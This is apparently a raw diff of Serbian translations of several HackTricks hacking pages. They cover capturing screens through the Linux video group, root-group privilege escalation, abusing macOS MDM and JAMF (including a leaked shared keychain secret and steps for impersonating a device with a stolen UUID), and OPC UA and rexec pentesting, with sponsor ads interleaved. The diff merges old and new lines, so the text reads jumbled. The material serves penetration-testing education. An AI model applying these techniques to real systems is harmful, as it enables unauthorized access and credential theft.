**video grupa** ima pristup za pregled izlaza sa ekrana. U suštini, možete posmatrati ekrane. Da biste to uradili, potrebno je da **uhvatite trenutnu sliku na ekranu** u sirovim podacima i dobijete rezoluciju koju ekran koristi. Podaci sa ekrana mogu se sačuvati u `/dev/fb0`, a rezoluciju ovog ekrana možete pronaći na `/sys/class/graphics/fb0/virtual_size` **video group** има приступ за преглед излаза на екрану. У основи, можете посматрати екране. Да бисте то урадили, потребно је да **узмете тренутну слику на екрану** у сировим подацима и добијете резолуцију коју екран користи. Податке о екрану можете сачувати у `/dev/fb0`, а резолуцију овог екрана можете пронаћи на `/sys/class/graphics/fb0/virtual_size`
```bash ```bash
cat /dev/fb0 > /tmp/screen.raw cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size cat /sys/class/graphics/fb0/virtual_size
``` ```
Da biste **otvorili** **sirovu sliku**, možete koristiti **GIMP**, odabrati **`screen.raw`** datoteku i odabrati tip datoteke **Sirovi podaci o slici**: Da biste **otvorili** **sirovu sliku**, možete koristiti **GIMP**, odabrati **`screen.raw`** datoteku i odabrati tip datoteke **Raw image data**:
![](../../.gitbook/assets/image%20%28208%29.png) ![](../../.gitbook/assets/image%20%28208%29.png)
Zatim promenite Širinu i Visinu na one koje koristi ekran i proverite različite Tipove slika \(i odaberite onaj koji bolje prikazuje ekran\): Zatim modifikujte Širinu i Visinu na one koje koristi ekran i proverite različite Tipove slika \(i odaberite onaj koji bolje prikazuje ekran\):
![](../../.gitbook/assets/image%20%28295%29.png) ![](../../.gitbook/assets/image%20%28295%29.png)
# Root Grupa # Root Grupa
Izgleda da po defaultu **članovi root grupe** mogu imati pristup da **modifikuju** neke **konfiguracione** datoteke usluga ili neke **biblioteke** ili **druge zanimljive stvari** koje bi mogle biti korišćene za eskalaciju privilegija... Izgleda da po defaultu **članovi root grupe** mogu imati pristup da **modifikuju** neke **konfiguracione** datoteke servisa ili neke **biblioteke** ili **druge zanimljive stvari** koje se mogu koristiti za eskalaciju privilegija...
**Proverite koje datoteke članovi root grupe mogu modifikovati**: **Proverite koje datoteke članovi root grupe mogu modifikovati**:
```bash ```bash
@ -154,6 +160,14 @@ Možete montirati root datotečni sistem host mašine na volumen instance, tako
[lxc - Eskalacija privilegija](lxd-privilege-escalation.md) [lxc - Eskalacija privilegija](lxd-privilege-escalation.md)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatom** zajednice.\
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,21 +1,29 @@
# macOS Red Teaming # macOS Red Teaming
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podrška HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
## Abusing MDMs <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Zloupotreba MDM-a
* JAMF Pro: `jamf checkJSSConnection` * JAMF Pro: `jamf checkJSSConnection`
* Kandji * Kandji
@ -28,40 +36,40 @@ Za red teaming u MacOS okruženjima, veoma je preporučljivo imati neko razumeva
[macos-mdm](macos-mdm/) [macos-mdm](macos-mdm/)
{% endcontent-ref %} {% endcontent-ref %}
### Using MDM as a C2 ### Korišćenje MDM-a kao C2
MDM će imati dozvolu da instalira, upita ili ukloni profile, instalira aplikacije, kreira lokalne administratorske naloge, postavi firmware lozinku, menja FileVault ključ... MDM će imati dozvolu da instalira, upita ili ukloni profile, instalira aplikacije, kreira lokalne administratorske naloge, postavi firmware lozinku, menja FileVault ključ...
Da biste pokrenuli svoj MDM, potrebno je da **vaš CSR potpiše dobavljač** što možete pokušati da dobijete sa [**https://mdmcert.download/**](https://mdmcert.download/). A da biste pokrenuli svoj MDM za Apple uređaje, možete koristiti [**MicroMDM**](https://github.com/micromdm/micromdm). Da biste pokrenuli svoj MDM, potrebno je da **vaš CSR potpiše dobavljač** što možete pokušati da dobijete putem [**https://mdmcert.download/**](https://mdmcert.download/). A da biste pokrenuli svoj MDM za Apple uređaje, možete koristiti [**MicroMDM**](https://github.com/micromdm/micromdm).
Međutim, da biste instalirali aplikaciju na registrovanom uređaju, i dalje je potrebno da bude potpisana od strane developerskog naloga... međutim, prilikom MDM registracije, **uređaj dodaje SSL certifikat MDM-a kao pouzdan CA**, tako da sada možete potpisati bilo šta. Međutim, da biste instalirali aplikaciju na registrovanom uređaju, i dalje je potrebno da bude potpisana od strane developerskog naloga... međutim, prilikom MDM registracije, **uređaj dodaje SSL certifikat MDM-a kao pouzdanu CA**, tako da sada možete potpisati bilo šta.
Da biste registrovali uređaj u MDM, potrebno je da instalirate **`mobileconfig`** datoteku kao root, koja može biti isporučena putem **pkg** datoteke (možete je kompresovati u zip, a kada se preuzme iz safarija, biće dekompresovana). Da biste registrovali uređaj u MDM, potrebno je da instalirate **`mobileconfig`** datoteku kao root, koja se može isporučiti putem **pkg** datoteke (možete je kompresovati u zip, a kada se preuzme iz safarija, biće dekompresovana).
**Mythic agent Orthrus** koristi ovu tehniku. **Mythic agent Orthrus** koristi ovu tehniku.
### Abusing JAMF PRO ### Zloupotreba JAMF PRO
JAMF može pokretati **prilagođene skripte** (skripte koje razvija sysadmin), **nativne payload-e** (kreiranje lokalnog naloga, postavljanje EFI lozinke, praćenje datoteka/procesa...) i **MDM** (konfiguracije uređaja, sertifikati uređaja...). JAMF može pokretati **prilagođene skripte** (skripte koje razvija sysadmin), **nativne payload-e** (kreiranje lokalnog naloga, postavljanje EFI lozinke, praćenje datoteka/procesa...) i **MDM** (konfiguracije uređaja, sertifikati uređaja...).
#### JAMF self-enrolment #### JAMF samoregistracija
Idite na stranicu kao što je `https://<company-name>.jamfcloud.com/enroll/` da vidite da li imaju **omogućenu samoregistraciju**. Ako imaju, može **tražiti akreditive za pristup**. Idite na stranicu kao što je `https://<company-name>.jamfcloud.com/enroll/` da vidite da li imaju **omogućenu samoregistraciju**. Ako imaju, možda će **tražiti akreditive za pristup**.
Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da izvršite napad password spraying. Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da izvršite napad na lozinke.
Štaviše, nakon pronalaženja odgovarajućih akreditiva, mogli biste biti u mogućnosti da brute-force-ujete druge korisničke naloge sa sledećim obrascem: Štaviše, nakon pronalaženja odgovarajućih akreditiva, mogli biste biti u mogućnosti da brute-force-ujete druge korisničke naloge sa sledećim obrascem:
![](<../../.gitbook/assets/image (107).png>) ![](<../../.gitbook/assets/image (107).png>)
#### JAMF device Authentication #### JAMF autentifikacija uređaja
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`** binarni fajl sadrži tajnu za otvaranje keychain-a koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\ **`jamf`** binarni fajl sadrži tajnu za otvaranje keychain-a koja je u vreme otkrića bila **deljena** među svima i to je bila: **`jk23ucnq91jfu9aj`**.\
Štaviše, jamf **persistira** kao **LaunchDaemon** u **`/Library/LaunchAgents/com.jamf.management.agent.plist`** Štaviše, jamf **persistira** kao **LaunchDaemon** u **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Device Takeover #### Preuzimanje JAMF uređaja
**JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti nalazi se u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ **JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti nalazi se u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Ova datoteka u suštini sadrži URL: Ova datoteka u suštini sadrži URL:
@ -97,7 +105,7 @@ Da biste **imitirali komunikaciju** između uređaja i JMF-a, potrebno je:
* **UUID** uređaja: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * **UUID** uređaja: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* **JAMF ključanica** iz: `/Library/Application\ Support/Jamf/JAMF.keychain` koja sadrži sertifikat uređaja * **JAMF ključanica** iz: `/Library/Application\ Support/Jamf/JAMF.keychain` koja sadrži sertifikat uređaja
Sa ovom informacijom, **napravite VM** sa **ukradenim** Hardver **UUID** i sa **onemogućenim SIP**, prebacite **JAMF ključanicu,** **hook**-ujte Jamf **agent** i ukradite njegove informacije. Sa ovom informacijom, **napravite VM** sa **ukradenim** Hardver **UUID** i sa **onemogućenim SIP**, prebacite **JAMF ključanicu,** **priključite** Jamf **agent** i ukradite njegove informacije.
#### Krađa tajni #### Krađa tajni
@ -117,7 +125,7 @@ I takođe o **MacOS** "posebnim" **mrežnim** **protokolima**:
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md) [macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
{% endcontent-ref %} {% endcontent-ref %}
## Active Directory ## Aktivni Direktorijum
U nekim slučajevima ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebali biste pokušati da **enumerišete** aktivni direktorijum kao što ste navikli. Pronađite neku **pomoć** na sledećim stranicama: U nekim slučajevima ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebali biste pokušati da **enumerišete** aktivni direktorijum kao što ste navikli. Pronađite neku **pomoć** na sledećim stranicama:
@ -140,7 +148,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
Takođe postoje neki alati pripremljeni za MacOS koji automatski enumerišu AD i igraju se sa kerberosom: Takođe postoje neki alati pripremljeni za MacOS koji automatski enumerišu AD i igraju se sa kerberosom:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound je ekstenzija za Bloodhound alat za reviziju koja omogućava prikupljanje i unos odnosa Active Directory na MacOS hostovima. * [**Machound**](https://github.com/XMCyber/MacHound): MacHound je ekstenzija za Bloodhound alat za reviziju koja omogućava prikupljanje i unos odnosa Active Directory na MacOS hostovima.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost je Objective-C projekat dizajniran za interakciju sa Heimdal krb5 API-ima na macOS-u. Cilj projekta je omogućiti bolje testiranje bezbednosti oko Kerberosa na macOS uređajima koristeći nativne API-je bez potrebe za bilo kojim drugim okvirom ili paketima na cilju. * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost je Objective-C projekat dizajniran za interakciju sa Heimdal krb5 API-ima na macOS-u. Cilj projekta je omogućiti bolje testiranje bezbednosti oko Kerberosa na macOS uređajima koristeći nativne API-je bez potrebe za bilo kojim drugim okvirom ili paketima na meti.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript za automatizaciju (JXA) alat za izvršavanje enumeracije Active Directory. * [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript za automatizaciju (JXA) alat za izvršavanje enumeracije Active Directory.
### Informacije o domeni ### Informacije o domeni
@ -151,7 +159,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Tri tipa MacOS korisnika su: Tri tipa MacOS korisnika su:
* **Lokalni korisnici** — Upravlja ih lokalna OpenDirectory usluga, nisu na bilo koji način povezani sa Active Directory. * **Lokalni korisnici** — Upravlja ih lokalna OpenDirectory usluga, nisu povezani na bilo koji način sa Active Directory.
* **Mrežni korisnici** — Volatilni Active Directory korisnici koji zahtevaju vezu sa DC serverom za autentifikaciju. * **Mrežni korisnici** — Volatilni Active Directory korisnici koji zahtevaju vezu sa DC serverom za autentifikaciju.
* **Mobilni korisnici** — Active Directory korisnici sa lokalnom rezervnom kopijom svojih kredencijala i fajlova. * **Mobilni korisnici** — Active Directory korisnici sa lokalnom rezervnom kopijom svojih kredencijala i fajlova.
@ -227,13 +235,13 @@ Keychain verovatno sadrži osetljive informacije koje, ako se pristupi bez gener
## Spoljni servisi ## Spoljni servisi
MacOS Red Teaming se razlikuje od regularnog Windows Red Teaming-a jer je obično **MacOS integrisan sa nekoliko spoljnih platformi direktno**. Uobičajena konfiguracija MacOS-a je pristup računaru koristeći **OneLogin sinhronizovane akreditive, i pristupanje nekoliko spoljnih servisa** (kao što su github, aws...) putem OneLogin-a. MacOS Red Teaming se razlikuje od regularnog Windows Red Teaming-a jer obično **MacOS je integrisan sa nekoliko spoljnih platformi direktno**. Uobičajena konfiguracija MacOS-a je pristup računaru koristeći **OneLogin sinhronizovane akreditive, i pristupanje nekoliko spoljnih servisa** (kao što su github, aws...) putem OneLogin-a.
## Razne tehnike crvenog tima ## Razne tehnike crvenog tima
### Safari ### Safari
Kada se fajl preuzme u Safariju, ako je to "siguran" fajl, biće **automatski otvoren**. Dakle, na primer, ako **preuzmete zip**, biće automatski raspakovan: Kada se fajl preuzme u Safariju, ako je to "siguran" fajl, biće **automatski otvoren**. Tako da, na primer, ako **preuzmete zip**, biće automatski raspakovan:
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
@ -245,6 +253,14 @@ Kada se fajl preuzme u Safariju, ako je to "siguran" fajl, biće **automatski ot
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) * [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) * [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatske eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -255,7 +271,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,7 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
## Osnovne informacije <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
**OPC UA**, što znači **Open Platform Communications Unified Access**, je ključni open-source protokol koji se koristi u raznim industrijama kao što su proizvodnja, energija, vazduhoplovstvo i odbrana za razmenu podataka i kontrolu opreme. Omogućava jedinstvenu komunikaciju opreme različitih proizvođača, posebno sa PLC-ovima. **OPC UA**, što znači **Open Platform Communications Unified Access**, je ključni open-source protokol koji se koristi u raznim industrijama kao što su proizvodnja, energija, vazduhoplovstvo i odbrana za razmenu podataka i kontrolu opreme. Omogućava jedinstvenu komunikaciju opreme različitih proizvođača, posebno sa PLC-ovima.
@ -28,15 +36,15 @@ PORT STATE SERVICE REASON
``` ```
## Pentesting OPC UA ## Pentesting OPC UA
Da biste otkrili bezbednosne probleme u OPC UA serverima, skenirajte ih sa [OpalOPC](https://opalopc.com/). Da biste otkrili bezbednosne probleme u OPC UA serverima, skenirajte ga sa [OpalOPC](https://opalopc.com/).
```bash ```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
``` ```
### Iskorišćavanje ranjivosti ### Iskorišćavanje ranjivosti
Ako se pronađu ranjivosti za zaobilaženje autentifikacije, možete odgovarajuće konfigurisati [OPC UA klijent](https://www.prosysopc.com/products/opc-ua-browser/) i videti šta možete da pristupite. Ovo može omogućiti sve, od jednostavnog čitanja vrednosti procesa do stvarnog upravljanja teškom industrijskom opremom. Ako se pronađu ranjivosti za zaobilaženje autentifikacije, možete konfigurisati [OPC UA klijent](https://www.prosysopc.com/products/opc-ua-browser/) u skladu s tim i videti šta možete da pristupite. Ovo može omogućiti sve, od jednostavnog čitanja vrednosti procesa do stvarnog upravljanja teškom industrijskom opremom.
Da biste dobili naznaku o uređaju kojem imate pristup, pročitajte vrednosti čvora "ServerStatus" u adresnom prostoru i pretražite priručnik za korišćenje. Da biste dobili uvid u uređaj kojem imate pristup, pročitajte vrednosti čvora "ServerStatus" u adresnom prostoru i pretražite priručnik za korišćenje.
## Shodan ## Shodan
@ -46,17 +54,25 @@ Da biste dobili naznaku o uređaju kojem imate pristup, pročitajte vrednosti č
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) * [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskorišćive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,11 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Get a hacker's perspective on your web apps, network, and cloud
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Osnovne informacije ## Basic Information
To je usluga koja **omogućava izvršavanje komande unutar hosta** ako znate validne **akreditive** (korisničko ime i lozinku). To je usluga koja **omogućava izvršavanje komande unutar hosta** ako znate validne **akreditive** (korisničko ime i lozinku).
@ -34,7 +36,9 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i pentesting**. Izvršite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekona do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -47,7 +51,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
